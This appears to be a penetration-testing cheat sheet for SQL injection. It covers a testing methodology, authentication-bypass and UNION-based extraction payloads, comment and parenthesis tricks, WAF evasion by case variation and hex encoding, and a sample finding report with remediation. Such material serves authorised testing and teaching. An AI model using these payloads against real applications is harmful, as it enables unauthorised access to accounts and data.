🛡️ Methodology Checklist
- Identify injection point: test
'in all params - Confirm SQLi: check for DB errors, boolean responses, timing
- Determine injection type: in-band (UNION), blind (boolean/time), out-of-band
- Identify DB backend from error syntax or version function:
SELECT @@version/SELECT version() - Map structure: databases → tables → columns
- Extract target data
- Test for privilege escalation (FILE, xp_cmdshell, INTO OUTFILE)
🎯 Operational Context
Use when: Web application makes database queries with user-supplied input — test for SQL injection before any other web vulnerability.
Think Dumber First: Add ' to every input field and check for error messages or behavior changes. Error = likely injectable. No error but different response = blind injectable. ' OR '1'='1 in login = auth bypass. These are the first three tests, always.
Skip when: Application clearly uses ORM with parameterized queries (visible in error messages/stack traces) — still test, but expect it to be secure.
⚡ Tactical Cheatsheet
| Command | Tactical Outcome |
|---|---|
' | Initial probe — triggers syntax error if injectable |
admin' OR '1'='1 | Auth bypass (trailing quote absorbed by backend’s closing quote) |
' OR '1'='1 | Universal bypass (inject into both username and password fields) |
admin'-- - | Comment-out password check (MySQL: trailing space mandatory) |
admin')-- - | Balanced parenthesis + comment for nested SQL queries |
admin'# / admin'%23 | Hash comment (URL-encode # to prevent browser anchor stripping) |
cn' ORDER BY 1-- - | Column count via ORDER BY — increment until “Unknown column” error |
cn' UNION SELECT 1,2,3,4-- - | Column count via UNION — increment until “different number of columns” error stops |
cn' UNION SELECT NULL,NULL,NULL,NULL-- - | NULL padding (bypasses strict data type constraints) |
cn' UNION SELECT 1,@@version,3,4-- - | Identify reflection points and fingerprint DBMS |
id=-1' UNION SELECT ...-- - | Force original query to return empty (force UNION results to first row) |
🔬 Deep Dive & Workflow
SQLi Types (BEUSTQ)
| Type | Speed | Requires |
|---|---|---|
| UNION-based | Fastest — whole tables per request | Visible output column |
| Error-based | Fast — data leaked in error messages | DBMS error display |
| Boolean blind | Medium — 1 byte per TRUE/FALSE comparison | Response difference |
| Time-based blind | Slowest — SLEEP() delays | Patience |
| Stacked queries | Full control | DBMS support (NOT MySQL) |
MySQL stacked queries are NOT supported — cannot inject ; DROP TABLE ... in MySQL.
Auth Bypass Logic
-- Developer's intended query:
SELECT * FROM logins WHERE username='<X>' AND password='<Y>';
-- Injection: admin' OR '1'='1
-- Note the LACK of closing quote — the developer's own quote closes it:
SELECT * FROM logins WHERE username='admin' OR '1'='1' AND password='anyvalue';
-- Comment bypass:
SELECT * FROM logins WHERE username='admin'-- -' AND password='anyvalue';
-- Everything after -- - is commented outComment Syntax
-- - ← MySQL dash-dash-space (trailing space is MANDATORY; extra dash ensures it)
# ← MySQL hash (URL: %23 or + after --)
/* */ ← Inline comment (less common for auth bypass)
-- URL-encoded (GET requests / browser bar):
'--+ ← space encoded as +
'%23 ← # encoded as %23UNION Attack Setup
Two-step process before extracting data:
Step 1: Count columns
-- METHOD A: ORDER BY (works until error)
cn' ORDER BY 1-- - ← success
cn' ORDER BY 4-- - ← success
cn' ORDER BY 5-- - ← "Unknown column '5' in 'order clause'" → 4 columns
-- METHOD B: UNION SELECT (works at success)
cn' UNION SELECT 1,2,3-- - ← ERROR 1222 (different column count)
cn' UNION SELECT 1,2,3,4-- - ← success → 4 columnsStep 2: Find reflection points
cn' UNION SELECT 1,2,3,4-- -
-- If page shows "2, 3, 4" → columns 2, 3, 4 are visible
-- If original query still returns first row, force empty:
cn' UNION SELECT 1,2,3,4 WHERE id=-1-- - ← or use non-existent valueStep 3: Verify data extraction
cn' UNION SELECT 1,@@version,3,4-- -Parenthesis Balancing
Error message: "You have an error in your SQL syntax" — success! Inspect the error for clues:
-- Backend: SELECT * FROM logins WHERE (username='X' AND id > 1) AND password='Y'
-- Payload needed:
admin')-- -
-- Result: WHERE (username='admin')-- -' AND id > 1) AND password='Y'🛠️ Troubleshooting & Edge Cases
| Problem | Cause | Fix |
|---|---|---|
| Single quote causes 500 error | Injectable but need to determine type | Check error message: MySQL vs MSSQL vs Oracle syntax in error reveals DB type |
| No error but different response | Blind SQLi | Test boolean: ' AND 1=1-- (normal) vs ' AND 1=2-- (different response) |
| Auth bypass not working | Wrong comment syntax | Try all: '--, '#, '/*, ') OR ('1'='1; test in username and password fields separately |
| Input sanitized but error still occurs | Second-order SQLi | Payload stored then executed elsewhere; register with SQLi payload as username, trigger in profile |
| WAF blocking basic payloads | Signature-based WAF | Use case variation: SeLeCt, /**/union/**/, 0x53454c454354 (hex-encoded SELECT) |
📝 Reporting Trigger
Finding Title: SQL Injection Authentication Bypass on Login Form
Impact: Authentication bypass via SQL injection allows unauthenticated access to the application as any user including administrators, compromising all application data and functionality without valid credentials.
Root Cause: Login query constructed via string concatenation: SELECT * FROM users WHERE username='[INPUT]' AND password='[INPUT]'. User input interpreted as SQL syntax.
Recommendation: Implement prepared statements for all authentication queries. Use password hashing (bcrypt) so even if SQLi is present, plaintext passwords are not in the database. Apply WAF SQLi rules as defense-in-depth.